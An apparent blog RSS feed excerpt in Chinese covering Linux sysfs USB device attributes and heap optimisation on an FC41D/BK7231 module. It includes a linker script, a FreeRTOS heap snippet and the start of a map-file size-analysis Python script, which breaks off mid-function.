<p>USB 端点被捆绑为接口（Interface），一个接口代表一个基本功能。有的设备具有多个接口，像 USB 扬声器就包括一个键盘接口和一个音频流接口。在内核中，一个接口要对应一个驱动程序，USB 扬声器在 Linux 里就需要两个不同的驱动程序。</p>
<h2 id="sysfs-与-usb">sysfs 与 USB</h2>
<p>sysfs 是 Linux 内核中一个伪文件系统，它提供了一种统一的方式，将内核对象、属性和状态信息以文件和目录的形式暴露给用户空间。我们可通过 sysfs 查看和管理系统设备</p>
<h3 id="sysfs的作用">sysfs的作用</h3>
<p><code>sysfs</code> 是 Linux 内核中一个伪文件系统，它提供了一种统一的方式，将内核对象、属性和状态信息以文件和目录的形式暴露给用户空间。<code>sysfs</code> 的主要作用包括：</p>
<ol>
<li>
<p><strong>内核对象模型的表示</strong>：</p>
<ul>
<li><code>sysfs</code> 将内核对象（如设备、驱动程序、文件系统等）映射到文件和目录，使用户可以方便地查看和管理这些对象的属性和状态。</li>
</ul>
</li>
<li>
<p><strong>系统信息和配置的访问</strong>：</p>
<ul>
<li>用户可以通过读取和写入 <code>sysfs</code> 文件来获取系统信息和配置系统。例如，用户可以查看硬件设备的属性或调整设备的参数。</li>
</ul>
</li>
<li>
<p><strong>调试和监控</strong>：</p>
<ul>
<li><code>sysfs</code> 提供了一种直接从用户空间访问内核信息的方法，便于调试和监控系统状态。</li>
</ul>
</li>
</ol>
<h3 id="sysfs-里-usb-设备规则">sysfs 里 USB 设备规则</h3>
<p>在 <code>sysfs</code> 中，USB 设备按照层次结构组织，每个设备都有自己的目录，包含该设备的各种属性文件。以下是 <code>sysfs</code> 中 USB 设备的主要规则和内容：</p>
<ol>
<li>
<p><strong>USB 设备目录结构</strong>：</p>
<ul>
<li>所有 USB 设备的信息都位于 <code>/sys/bus/usb/devices/</code> 目录下。</li>
<li>每个 USB 设备都有一个唯一的目录名，通常是设备的总线编号和设备编号（如 <code>1-1</code> 表示总线 1 的设备 1）。</li>
</ul>
</li>
<li>
<p><strong>USB 设备属性文件</strong>：</p>
<ul>
<li>每个 USB 设备目录下有多个属性文件，包含设备的各种信息和配置参数。常见的属性文件包括：
<ul>
<li><code>idVendor</code>：设备厂商 ID</li>
<li><code>idProduct</code>：设备产品 ID</li>
<li><code>bDeviceClass</code>：设备类</li>
<li><code>bDeviceSubClass</code>：设备子类</li>
<li><code>bDeviceProtocol</code>：设备协议</li>
<li><code>bNumConfigurations</code>：设备配置数量</li>
<li><code>busnum</code>：设备所在的总线编号</li>
<li><code>devnum</code>：设备编号</li>
<li><code>manufacturer</code>：设备制造商</li>
<li><code>product</code>：设备名称</li>
<li><code>serial</code>：设备序列号</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>USB 端点和接口</strong>：</p>
<ul>
<li>每个 USB 设备目录中还包含该设备的接口和端点信息。接口和端点的信息也以文件的形式暴露在设备目录下。</li>
<li>接口信息通常位于 <code>interface</code> 文件中，端点信息通常位于 <code>endpoint</code> 文件中。</li>
</ul>
</li>
<li>
<p><strong>设备状态和操作</strong>：</p>
<ul>
<li><code>sysfs</code> 中的 USB 设备目录还包含一些可以读写的文件，用于控制设备状态和执行操作。例如：
<ul>
<li><code>authorized</code>：表示设备是否被授权使用，可以写 <code>0</code> 或 <code>1</code> 来禁用或启用设备。</li>
<li><code>remove</code>：写入 <code>1</code> 可以从系统中移除设备。</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>usb 鼠标的目录树
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240718/image.7egnzpp4tf.webp" alt=""  />
</p>
<p>查看设备名称和制造商
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240718/image.6t70dew14s.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>FC41D heap 空间大小优化分析方法</title>
      <link>https://hacperme.com/posts/notes/20240711_fc41d_heap_note/</link>
      <pubDate>Thu, 11 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240711_fc41d_heap_note/</guid>
      <description>通过链接器、map文件分析程序内存使用大小，优化内存布局。</description>
      <content:encoded><![CDATA[<p>内存优化是指 ram 或者 rom 的使用大小优化，想要优化内存，必须得了解下面这几个知识：</p>
<ul>
<li>在程序中，得知道哪些类型的代码是占用 ram，哪些代码是存储在 rom 空间上的。</li>
<li>熟悉 ld 文件，知道程序的内存布局是怎样的，有哪些类型的内存、内存大小，不同的代码段（.text .rodata .data .bss）分别分配到哪个内存空间。</li>
<li>会看 map 文件，了解程序中内存使用的细节。</li>
</ul>
<p>gcc 工具链中的链接器有一个功能，配置加上 -Wl,&ndash;print-memory-usage，可以在链接之后输出内存使用情况。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711143848316.sytyorxq8.webp" alt=""  />
</p>
<p>heap 内存放在 ram 这块内存，在.data .bss段内存之后，根据代码使用情况动态调整大小。从 ld 文件和 heap_4.c 可以看到 _empty_ram 就是 heap 的起始地址，结束地址到 ram 的末尾。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">. = ORIGIN(ram);
</span></span><span class="line"><span class="cl">/* globals.for example: int ram_data[3]={4,5,6}; */		/* VMA in RAM, but keep LMA in flash */
</span></span><span class="line"><span class="cl">	_begin_data = .;
</span></span><span class="line"><span class="cl">        .data :
</span></span><span class="line"><span class="cl">	{
</span></span><span class="line"><span class="cl">	    *(.data .data.*)
</span></span><span class="line"><span class="cl">	    *(.sdata) 
</span></span><span class="line"><span class="cl">	    *(.gnu.linkonce.d*)
</span></span><span class="line"><span class="cl">    	SORT(CONSTRUCTORS)
</span></span><span class="line"><span class="cl">        } &gt;ram AT&gt;flash
</span></span><span class="line"><span class="cl">        _end_data = .;
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	/* Loader will copy data from _flash_begin to _ram_begin..ram_end */
</span></span><span class="line"><span class="cl">	_data_flash_begin = LOADADDR(.data);
</span></span><span class="line"><span class="cl">	_data_ram_begin = ADDR(.data);
</span></span><span class="line"><span class="cl">	_data_ram_end = .;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* uninitialized data section - global   int i; */
</span></span><span class="line"><span class="cl">	.bss ALIGN(8):
</span></span><span class="line"><span class="cl">	{
</span></span><span class="line"><span class="cl">		_bss_start = .;
</span></span><span class="line"><span class="cl">		*boot_handlers.O(.bss .bss.* .scommon .sbss .dynbss COMMON)
</span></span><span class="line"><span class="cl">		*(.bss .bss.*)
</span></span><span class="line"><span class="cl">		*(.scommon)
</span></span><span class="line"><span class="cl">		*(.sbss)
</span></span><span class="line"><span class="cl">		*(.dynbss)
</span></span><span class="line"><span class="cl">		*(COMMON)
</span></span><span class="line"><span class="cl">		/* Align here to ensure that the .bss section occupies space up to
</span></span><span class="line"><span class="cl">		_end.  Align after .bss to ensure correct alignment even if the
</span></span><span class="line"><span class="cl">		.bss section disappears because there are no input sections.  */
</span></span><span class="line"><span class="cl">		. = ALIGN(32 / 8);
</span></span><span class="line"><span class="cl">		_bss_end = .;
</span></span><span class="line"><span class="cl">	} &gt; ram						/* in RAM */
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	. = ALIGN (8);
</span></span><span class="line"><span class="cl">	_empty_ram = .;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* This symbol defines end of code/data sections. Heap starts here. */
</span></span><span class="line"><span class="cl">	PROVIDE(end    	  = .);
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if configDYNAMIC_HEAP_SIZE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="k">extern</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">_empty_ram</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#define HEAP_START_ADDRESS    (void*)&amp;_empty_ram
</span></span></span><span class="line"><span class="cl"><span class="cp">#if CFG_SOC_NAME == SOC_BK7231N
</span></span></span><span class="line"><span class="cl"><span class="cp">#define HEAP_END_ADDRESS      (void*)(0x00400000 + 192 * 1024)
</span></span></span><span class="line"><span class="cl"><span class="cp">#else
</span></span></span><span class="line"><span class="cl"><span class="cp">#define HEAP_END_ADDRESS      (void*)(0x00400000 + 256 * 1024)
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">prvHeapGetHeaderPointer</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">HEAP_START_ADDRESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">uint32_t</span> <span class="nf">prvHeapGetTotalSize</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">ASSERT</span><span class="p">(</span><span class="n">HEAP_END_ADDRESS</span> <span class="o">&gt;</span> <span class="n">HEAP_START_ADDRESS</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="p">(</span><span class="n">HEAP_END_ADDRESS</span> <span class="o">-</span> <span class="n">HEAP_START_ADDRESS</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>想增加heap的大小，有两个思路：</p>
<ol>
<li>裁剪代码，减少 .data .bss 代码的大小</li>
<li>tcm 也是一类 ram，将部分代码放 tcm 区域，heap 所在 ram 这边就腾出空间来了。</li>
</ol>
<p>codesize.py 脚本可以分析 map 文件，统计各个 lib、obj、section 占用的 ram 、flash 大小，分析结果输出为 csv 文件。</p>
<p>对csv文件按 .bss 或者 .data 的大小进行排序，看哪个地方占用的内存大，那么就可以查看这部分代码是否可以优化。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Copyright (C) 2018 RDA Technologies Limited and/or its affiliates(&#34;RDA&#34;).</span>
</span></span><span class="line"><span class="cl"><span class="c1"># All rights reserved.</span>
</span></span><span class="line"><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="cl"><span class="c1"># This software is supplied &#34;AS IS&#34; without any warranties.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># RDA assumes no responsibility or liability for the use of the software,</span>
</span></span><span class="line"><span class="cl"><span class="c1"># conveys no license or title under any patent, copyright, or mask work</span>
</span></span><span class="line"><span class="cl"><span class="c1"># right to the product. RDA reserves the right to make changes in the</span>
</span></span><span class="line"><span class="cl"><span class="c1"># software without notification.  RDA also make no representation or</span>
</span></span><span class="line"><span class="cl"><span class="c1"># warranty that such application will be suitable for the specified use</span>
</span></span><span class="line"><span class="cl"><span class="c1"># without further testing or modification.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">optparse</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">fnmatch</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># section types</span>
</span></span><span class="line"><span class="cl"><span class="n">section_text</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;.text&#34;</span><span class="p">,</span> <span class="s2">&#34;.text.*&#34;</span><span class="p">,</span> <span class="s2">&#34;.ram&#34;</span><span class="p">,</span> <span class="s2">&#34;RESET&#34;</span><span class="p">,</span> <span class="s2">&#34;VECTORS&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;.sramboottext&#34;</span><span class="p">,</span> <span class="s1">&#39;.sramtext&#39;</span><span class="p">,</span> <span class="s1">&#39;.ramtext&#39;</span><span class="p">,</span> <span class="s2">&#34;.boot_sector_start&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;.boottext&#34;</span><span class="p">,</span> <span class="s2">&#34;.irqtext&#34;</span><span class="p">,</span> <span class="s2">&#34;.romtext&#34;</span><span class="p">,</span> <span class="s2">&#34;.bootsramtext&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;.ram&#34;</span><span class="p">,</span> <span class="s2">&#34;.start_entry&#34;</span><span class="p">,</span> <span class="s2">&#34;.exception&#34;</span><span class="p">,</span> <span class="s2">&#34;.tlb_exception&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;.tlbtext&#34;</span><span class="p">,</span> <span class="s2">&#34;.syssram_L1_text&#34;</span><span class="p">,</span> <span class="s2">&#34;.nbsram_patch_text&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;.init&#34;</span><span class="p">,</span> <span class="s2">&#34;.sramTEXT&#34;</span><span class="p">,</span><span class="s2">&#34;.noinit&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">section_ro</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;.rodata&#34;</span><span class="p">,</span> <span class="s2">&#34;.rodata.*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.bootrodata&#34;</span><span class="p">,</span> <span class="s2">&#34;.roresdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.robsdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.extra&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">section_rw</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;.data&#34;</span><span class="p">,</span> <span class="s2">&#34;.data.*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.rwkeep&#34;</span><span class="p">,</span> <span class="s2">&#34;.bootsramdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.sramdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.sramucdata&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.srroucdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.ucdata&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">section_zi</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;.bss&#34;</span><span class="p">,</span> <span class="s2">&#34;.bss.*&#34;</span><span class="p">,</span> <span class="s2">&#34;COMMON&#34;</span><span class="p">,</span> <span class="s2">&#34;.scommon&#34;</span><span class="p">,</span> <span class="s2">&#34;.sdata&#34;</span><span class="p">,</span> <span class="s2">&#34;.sdata.*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.sbss&#34;</span><span class="p">,</span> <span class="s2">&#34;.sbss.*&#34;</span><span class="p">,</span> <span class="s2">&#34;.nbsram_globals&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.sramuninit&#34;</span><span class="p">,</span> <span class="s2">&#34;.sramucuninit&#34;</span><span class="p">,</span> <span class="s2">&#34;.dsp_iq_data&#34;</span><span class="p">,</span> <span class="s2">&#34;.ramucbss&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.backup&#34;</span><span class="p">,</span> <span class="s2">&#34;.bootsrambss&#34;</span><span class="p">,</span> <span class="s2">&#34;.ucbss&#34;</span><span class="p">,</span> <span class="s2">&#34;.srambss&#34;</span><span class="p">,</span> <span class="s2">&#34;.sramucbss&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.ucbackup&#34;</span><span class="p">,</span> <span class="s2">&#34;.xcv_reg_value&#34;</span><span class="p">,</span> <span class="s2">&#34;.abb_reg_value&#34;</span><span class="p">,</span> <span class="s2">&#34;.pmu_reg_value&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.hal_boot_sector_reload_struct&#34;</span><span class="p">,</span> <span class="s2">&#34;.boot_sector_reload_struct_ptr&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.boot_sector_struct&#34;</span><span class="p">,</span> <span class="s2">&#34;.boot_sector_struct_ptr&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;.fixptr&#34;</span><span class="p">,</span> <span class="s2">&#34;.dbgfunc&#34;</span><span class="p">,</span> <span class="s2">&#34;.sram_overlay&#34;</span><span class="p">,</span> <span class="s2">&#34;.TTBL1&#34;</span><span class="p">,</span> <span class="s2">&#34;.TTBL2&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">section_ignore</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;.ARM.exidx&#34;</span><span class="p">,</span> <span class="s2">&#34;.ARM.attributes&#34;</span><span class="p">,</span> <span class="s2">&#34;.comment&#34;</span><span class="p">,</span> <span class="s2">&#34;.debug_*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                  <span class="s2">&#34;.iplt&#34;</span><span class="p">,</span> <span class="s2">&#34;.rel.iplt&#34;</span><span class="p">,</span> <span class="s2">&#34;.igot.plt&#34;</span><span class="p">,</span> <span class="s1">&#39;.reginfo&#39;</span><span class="p">,</span> <span class="s2">&#34;.mdebug.*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                  <span class="s2">&#34;.pdr&#34;</span><span class="p">,</span> <span class="s1">&#39;.rel.dyn&#39;</span><span class="p">,</span><span class="s1">&#39;.noinit&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># check a name matches a list of patterns</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">name_match</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">patterns</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">any</span><span class="p">(</span><span class="n">fnmatch</span><span class="o">.</span><span class="n">fnmatch</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">pattern</span><span class="p">)</span> <span class="k">for</span> <span class="n">pattern</span> <span class="ow">in</span> <span class="n">patterns</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># section type by section name</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">section_type</span><span class="p">(</span><span class="n">section_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">name_match</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">section_ignore</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;ignore&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">name_match</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">section_text</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;text&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">name_match</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">section_ro</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;rodata&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">name_match</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">section_rw</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;data&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">name_match</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">section_zi</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;bss&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="s2">&#34;ignore&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#        print(&#34;unknown section:&#34;, section_name)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#        sys.exit(1)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">stype</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># make an entry, a section in one object file</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">make_entry</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">obj</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">stype</span> <span class="o">=</span> <span class="n">section_type</span><span class="p">(</span><span class="n">section_name</span><span class="p">)</span>
